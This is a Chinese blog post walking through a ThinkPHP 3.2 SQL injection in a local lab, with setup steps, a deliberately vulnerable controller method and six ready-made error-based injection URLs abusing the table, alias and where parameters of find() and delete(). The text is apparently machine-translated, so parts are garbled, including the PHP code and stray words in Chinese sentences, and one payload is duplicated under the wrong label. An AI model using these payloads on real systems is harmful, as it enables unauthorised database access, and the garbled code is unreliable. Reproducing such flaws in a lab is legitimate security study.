thinkphp 3.2漏洞

Admin 2020-02-22 373人围观 ,发现0个评论 thinkphp

0x01进攻复现

下载源码: git clone https://github.com/top-think/thinkphp.git

下载版本地址:http://www.thinkphp.cn/down.html

使用git checkout命令将版本回退到上一次commit:git checkout 109bf30254a38651c21837633d9293a4065c300b

使用phpstudy等集成工具构建thinkphp,修改apache的配置文件httpd-conf

DocumentRoot "" 为thinkphp所在的目录。

thinkphp 3.2漏洞 Web安全 第1张

重启phpstudy,访问127.0.0.1,输出thinkphp的欢迎信息,表示thinkphp已正常运行。

thinkphp 3.2漏洞 Web安全 第2张

搭建数据库,数据库为tptest,表为user,表里面有三个字段idusernamepass

thinkphp 3.2漏洞 Web安全 第3张

修改Application\Common\Conf\config.php配置文件,添加数据库配置信息。

thinkphp 3.2漏洞 Web安全 第4张

之后在Application\Home\Controller\IndexController.class.php添加以下代码:

公共功能test()    {        $ id = i('id');        $ res = M('用户')-> find($ id);        // $ res = M('user')-> delete($ id);        // $ res = M('user')-> select($ id);     }

针对select()状语从句:find()方法,有很多地方可注,这里主要列举三个table, ,aliaswhere还更多请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行的,比如havinggroup等。

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

thinkphp 3.2漏洞 Web安全 第5张

delete()方法的话教育同样,这里粗略举三个例子,tablealiaswhere,使用但table状语从句:alias的时候,还同时保证必须where不为空(详细原因后面会说)

where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--  
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

thinkphp 3.2漏洞 Web安全 第6张


请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By 蚁人博客